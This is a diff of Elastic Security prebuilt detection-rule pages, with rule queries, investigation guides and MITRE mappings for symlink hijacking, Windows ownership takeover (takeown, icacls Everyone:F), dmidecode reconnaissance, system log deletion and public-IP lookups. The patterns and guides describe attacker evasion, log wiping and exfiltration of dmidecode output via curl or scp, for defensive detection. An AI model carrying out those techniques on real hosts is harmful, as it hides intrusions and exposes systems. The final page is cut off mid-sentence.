rule. Review and whitelist these scripts if they are verified to be safe and necessary for business operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate any suspicious processes identified as creating symbolic links to writable locations, especially those with uncommon parent processes. +- Remove any unauthorized symbolic links from system binaries to suspicious locations, ensuring the integrity of the original binaries. +- Conduct a thorough review of user accounts and permissions on the affected system to identify and disable any compromised accounts or unnecessary elevated privileges. +- Restore affected binaries and system files from a known good backup to ensure no tampered files remain. +- Monitor the system for any further attempts to create unauthorized symbolic links, using enhanced logging and alerting mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.type:start and event.action:exec and +process.parent.executable:(* and not (/bin/make or /sbin/weak-modules or /usr/bin/make or /usr/sbin/weak-modules)) and +(process.name:ln or process.name:busybox and process.args:ln or process.name:cp and process.args:--symbolic-link) and +process.args:( + ( + /bin/* or /lib/* or /lib64/* or /sbin/* or /usr/bin/* or /usr/lib/* or /usr/lib64/* or /usr/local/bin/* or + /usr/local/lib/* or /usr/local/lib64/* or /usr/local/sbin/* or /usr/sbin/* + ) and ( + /*/.* or /dev/shm/* or /home/* or /root/* or /tmp/* or /var/tmp/* + ) and + not ( + /usr/bin/coreutils or /tmp/mkinitcpio* or /var/tmp/dracut* or /var/tmp/mkinitramfs* or /var/tmp/pamac-build* or + /var/tmp/portage/* or usr/lib/python3/dist-packages/* + ) +) and not +process.parent.args:(/usr/bin/qemu-aarch64-static or /usr/sbin/weak-modules or /usr/share/initramfs-tools/hooks/ntfs_3g or /var/tmp/rpm-tmp*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indirect Command Execution +** ID: T1202 +** Reference URL: https://attack.mitre.org/techniques/T1202/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-file-ownership-change.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-file-ownership-change.asciidoc new file mode 100644 index 0000000000..0c1db133fb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-file-ownership-change.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-34-system-file-ownership-change]] +=== System File Ownership Change + +Adversaries may modify file or directory ownership to evade access control lists (ACLs) and access protected files. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System File Ownership Change* + + +Adversaries may modify file or directory ownership to evade access control lists (ACLs) and access protected files. + + +*Possible investigation steps* + + +- Assess the ownership target file or directory and identify if it's a system critical file. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. + + +*False positive analysis* + + +- System updates, backup software and uninstallers tend to modify files ownership. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.name : "icacls.exe" and process.args : "/reset") or + (process.name : "takeown.exe" and process.args : "/f") or + (process.name : "icacls.exe" and process.args : "/grant" and process.args : "Everyone:F") + ) and + process.command_line : "*.exe *C:\\Windows\\*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Windows File and Directory Permissions Modification +** ID: T1222.001 +** Reference URL: https://attack.mitre.org/techniques/T1222/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc new file mode 100644 index 0000000000..978726a972 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-information-discovery-via-dmidecode-from-parent-shell.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-system-information-discovery-via-dmidecode-from-parent-shell]] +=== System Information Discovery via dmidecode from Parent Shell + +This rule detects the use of dmidecode to gather system information from a Linux host when executed from a parent shell process. Adversaries may use dmidecode to collect detailed hardware and system information, which can aid in further exploitation or lateral movement within a network, or be used as a fingerprint for a compromised system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.checkpoint.com/2024/29676/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Information Discovery via dmidecode from Parent Shell* + + +This rule flags dmidecode launched from a parent shell, signaling collection of hardware and firmware inventory that adversaries use to profile a host and inform exploitation or lateral movement. A typical pattern is an intruder running bash -c 'dmidecode -t system -t bios' within a post-exploitation script to harvest model, serial, BIOS vendor, and hypervisor indicators, then tailoring payload choices or host-based evasion accordingly. + + +*Possible investigation steps* + + +- Extract the full parent shell command payload to see exact dmidecode arguments, targeted DMI types, and any output redirection or piping to grep, gzip, curl, scp, or similar utilities indicating data collection or exfiltration. +- Correlate execution context by tying the parent shell to the user, TTY versus non-interactive origin (cron/systemd/SSH), source IP, and presence of unexpected sudo/root elevation to judge intent and privilege. +- Pivot on the parent PID and session to list adjacent commands within the timeline to identify broader discovery or staging chains and any script or binary loader used. +- Search for captured output by reviewing recent file writes under /tmp, /var/tmp, /dev/shm, and home directories for DMI dumps, hardware inventory files, or compressed archives, and triage ownership and timestamps. +- Investigate network activity from the shell and its children around the event for outbound connections, especially HTTP/S3/SSH transfers that could carry dmidecode output, and capture destination details for enrichment. + + +*False positive analysis* + + +- A system administrator runs a shell with -c to execute dmidecode during manual troubleshooting; corroborate with an interactive TTY, a known admin user, and absence of adjacent collection or network activity. +- A legitimate cron or systemd maintenance/provisioning job calls a shell with -c to run dmidecode for hardware inventory; verify the scheduled unit or service, script location under /etc, and expected run cadence. + + +*Response and remediation* + + +- Immediately kill the shell process running '-c "dmidecode ..."', terminate its children (e.g., grep, gzip, curl, scp), and isolate the host if the command chained output to a network transfer. +- Block observed exfil destinations by adding temporary egress rules for the IP/domain referenced in the parent shell (curl/wget/scp targets), and confiscate any DMI dumps or archives found under /tmp, /var/tmp, or /dev/shm. +- Remove persistence by deleting scripts and jobs that call dmidecode, including entries under /etc/cron.*, systemd units in /etc/systemd/system, or shell scripts dropped in home directories and /opt, and clear residual output files. +- Recover by validating integrity of /usr/sbin/dmidecode and shell binaries (bash/sh/zsh), restoring from backup if tampering is detected, and re-enable network only after rotating passwords and SSH keys for affected accounts. +- Escalate to incident response if dmidecode output is compressed/encoded then sent externally (e.g., '/tmp/dmi.txt.gz' piped to curl or scp), if run via sudo by an unexpected user, or observed on multiple hosts in a short window. +- Harden by restricting dmidecode use to approved scripts via sudoers and AppArmor/SELinux profiles, alerting on shell '-c' hardware inventory commands, auditing writes to /tmp and /var/tmp, and replacing ad-hoc inventory with signed, centrally managed tooling. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +process.name == "dmidecode" and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and +process.parent.args == "-c" and not ( + process.parent.command_line in ( + "/bin/sh -c /usr/sbin/dmidecode | /bin/grep VMware", "sh -c dmidecode -s system-manufacturer" + ) or + ?process.working_directory in ( + "/data/oem_agent/agent_inst/sysman/emd", "/opt/rapid7/ir_agent/components/insight_agent/common", "/opt/veeam/transport", + "/data/app/oracle/agent/agent_inst/sysman/emd", "/home/nessus", "/opt/commvault", "/opt/nessus_agent/var/nessus/mod/com.tenable.nessus_agent/data" + ) or + process.parent.args like "printf*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-log-file-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-log-file-deletion.asciidoc new file mode 100644 index 0000000000..05d0e511a8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-log-file-deletion.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-system-log-file-deletion]] +=== System Log File Deletion + +Identifies the deletion of sensitive Linux system logs. This may indicate an attempt to evade detection or destroy forensic evidence on a system. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/11/live-off-the-land-an-overview-of-unc1945.html +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating System Log File Deletion* + + +System logs are crucial for monitoring and auditing activities on Linux systems, providing insights into system events and user actions. Adversaries may delete these logs to cover their tracks, hindering forensic investigations. The detection rule identifies suspicious deletions of key log files, excluding benign processes like compression tools, to flag potential evasion attempts. This helps security analysts quickly respond to and investigate unauthorized log deletions. + + +*Possible investigation steps* + + +- Review the specific file path involved in the deletion event to determine which log file was targeted, using the file.path field from the alert. +- Investigate the process responsible for the deletion by examining the process.name and related process metadata to identify any suspicious or unauthorized activity. +- Check for any recent login or session activity around the time of the log deletion by reviewing other logs or authentication records, focusing on the /var/log/auth.log and /var/log/secure files if they are still available. +- Analyze the user account associated with the deletion event to determine if it has a history of suspicious activity or if it was potentially compromised. +- Correlate the deletion event with other security alerts or anomalies in the system to identify any patterns or related incidents that might indicate a broader attack or compromise. +- Assess the impact of the log deletion on the system's security posture and determine if any critical forensic evidence has been lost, considering the importance of the deleted log file. + + +*False positive analysis* + + +- Compression tools like gzip may trigger false positives when they temporarily delete log files during compression. To mitigate this, ensure gzip is included in the exclusion list within the detection rule. +- Automated system maintenance scripts might delete or rotate log files as part of routine operations. Review these scripts and add their process names to the exclusion list if they are verified as non-threatening. +- Docker-related processes, such as dockerd, can also cause false positives when managing container logs. Confirm these activities are legitimate and include dockerd in the exclusion list to prevent unnecessary alerts. +- Custom backup or log management tools may delete logs as part of their normal function. Identify these tools and add their process names to the exclusion list after verifying their benign nature. +- Scheduled tasks or cron jobs that manage log files should be reviewed. If they are confirmed to be safe, their associated process names should be added to the exclusion list to avoid false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data tampering. +- Conduct a thorough review of user accounts and permissions on the affected system to identify any unauthorized access or privilege escalation. +- Restore deleted log files from backups if available, to aid in further forensic analysis and to maintain system integrity. +- Implement enhanced monitoring on the affected system and similar systems to detect any further unauthorized log deletions or suspicious activities. +- Escalate the incident to the security operations center (SOC) or incident response team for a comprehensive investigation and to determine the scope of the breach. +- Review and update security policies and configurations to ensure that only authorized processes can delete critical log files, leveraging access controls and audit policies. +- Consider deploying additional endpoint detection and response (EDR) solutions to improve visibility and detection capabilities for similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "deletion" and file.path in ( + "/var/run/utmp", "/var/log/wtmp", "/var/log/btmp", "/var/log/lastlog", "/var/log/faillog", + "/var/log/syslog", "/var/log/messages", "/var/log/secure", "/var/log/auth.log", "/var/log/boot.log", + "/var/log/kern.log", "/var/log/dmesg" +) and not ( + process.name in ("gzip", "executor", "dockerd") or + (process.executable in ("/usr/bin/podman", "/dev/fd/3") and file.name == "lastlog") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Linux or Mac System Logs +** ID: T1070.002 +** Reference URL: https://attack.mitre.org/techniques/T1070/002/ +* Sub-technique: +** Name: File Deletion +** ID: T1070.004 +** Reference URL: https://attack.mitre.org/techniques/T1070/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-public-ip-discovery-via-dns-query.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-public-ip-discovery-via-dns-query.asciidoc new file mode 100644 index 0000000000..d54f0708f6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-system-public-ip-discovery-via-dns-query.asciidoc @@ -0,0 +1,239 @@ +[[prebuilt-rule-8-19-34-system-public-ip-discovery-via-dns-query]] +=== System Public IP Discovery via DNS Query + +Identifies DNS queries to known public IP address lookup web services from suspicious Windows processes, which can reveal external IP or internet-connectivity discovery before follow-on activity. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1016/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating System Public IP Discovery via DNS Query* + + + +*Possible investigation steps* + + +- Does the alert-local DNS event show request-only, successful resolution, or lookup failure for a public-IP service? + - Why: request events show intent to resolve the service; result events plus `dns.resolved_ip` show resolver response, not a connection. + - Focus: `dns.question.name`, `event.action`, `dns.resolved_ip`, `dns.Ext.status`, and `@timestamp`. + - Implication: escalate faster when a suspicious process resolves a service that reports public egress IP; lower concern only when the lookup failed or stayed request-only and identity, lineage, and network checks all fit the same recognized connectivity test. + +- Is the alerting binary a recognized tool or a suspicious LOLBin/script host in this context? + - Focus: alert or recovered process identity: `process.name`, `process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when the lookup comes from a LOLBin, scripting runtime, unsigned binary, user-writable path, or signer mismatch; lower concern when a stable signed updater, endpoint-management, or managed connectivity-check component owns the exact binary. Identity alone does not close the alert. + +- Does the launch chain explain why this process needed external-IP discovery? + - Focus: recovered process start and parent context on `host.id` and `process.entity_id`: `process.command_line`, `process.parent.executable`, `process.parent.command_line`, `user.id`, and `process.Ext.session_info.logon_type`. !{investigate{"description":"","label":"Process events for the DNS-querying process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when Office, a browser child, a script host, a service session, or an unexpected remote session launched the lookup; lower concern when parent, command line, user, and session all match one recognized troubleshooting, updater, endpoint-management, or managed connectivity-check workflow. + +- Did the process connect to the resolved public-IP service or pivot to other external infrastructure? + - Focus: same-process network events on `host.id` and `process.entity_id`, separating DNS results from connections and correlating `dns.resolved_ip` to `destination.ip`, `destination.port`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network events for the DNS-querying process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: Missing network telemetry is unresolved, not benign. When present, treat `dns.question.name` as DNS evidence and `destination.ip` as connection evidence, including direct public-IP connections that bypass DNS. + - Implication: escalate when the process reaches the resolved service, contacts unrelated public infrastructure, or later connects directly to public IPs without DNS; lower concern only when connection telemetry shows no related external connection or an environment-confirmed proxy path aligned with the same workflow. + +- Did the same process launch follow-on commands that turn the lookup into staging, discovery, or C2 preparation? + - Focus: child process starts where `process.parent.entity_id` matches `process.entity_id`: `process.name`, `process.command_line`, `process.executable`, and `process.code_signature.subject_name`. !{investigate{"description":"","label":"Child processes spawned by the DNS-querying process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when shells, downloaders, installers, reconnaissance commands, or persistence tooling follow the lookup; lower concern when no child activity appears and earlier identity and lineage support one recognized connectivity check. + +- If local evidence stays suspicious or unresolved, do related alerts show the same binary-and-domain tuple around this user or host? + - Focus: related alert history for `user.id` and `host.id`: `dns.question.name`, `process.hash.sha256`, `process.code_signature.subject_name`, and recovered `process.parent.executable`. Review user and host alerts only after local DNS result, lineage, and follow-on network checks stay suspicious or unresolved. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden the case when the same hash, signer, parent, and public-IP service recur across other hosts for the same user or other users on the same host; keep response local when related alerts remain limited to one confirmed maintenance cohort. + +- Based on DNS outcome, binary identity, launch chain, same-process network behavior, child processes, and scope, what disposition is supported? + - Implication: escalate on unauthorized public-IP discovery plus suspicious lineage, external egress, child commands, or spread; close only when DNS outcome, binary identity, parent chain, user/session context, connection behavior, child activity, and scope bind one recognized workflow with no contradictions; preserve mixed or incomplete cases and escalate. + + +*False positive analysis* + + +- Administrative troubleshooting, software updater, endpoint-management, and managed connectivity-check workflows may query public-IP services to confirm egress or NAT behavior. Confirm that identity (`process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`), lineage (`process.parent.executable`, `process.parent.command_line`), user/session context, DNS evidence (`dns.question.name`, `dns.resolved_ip`), and any connection evidence converge on the same exact workflow. Without organizational confirmation, close only when telemetry proves the exact component and workflow; otherwise treat the pattern as candidate exception evidence. +- Before creating an exception, require a stable `process.hash.sha256` or `process.code_signature.subject_name`, `process.parent.executable`, the specific `dns.question.name`, and scope anchor (`host.id`, `host.name`, or `user.id`). Avoid exceptions on `dns.question.name` alone, `process.name` alone, or the full public-IP service list because benign tooling and malware use the same services. + + +*Response and remediation* + + +- If confirmed benign, document the exact evidence that proved the workflow: binary identity, parent chain, user/session context, DNS result, connection behavior, and recurrence scope. Then reverse any temporary containment and build a narrow exception only for that confirmed workflow. +- If suspicious but unconfirmed, preserve the alert, process start, DNS result, same-process connection events, child process starts, and related alert history before containment. Apply reversible containment such as temporary domain or DNS blocking, outbound restrictions for the affected process or host, or heightened monitoring on the affected `host.id` or `user.id`; escalate to host isolation only 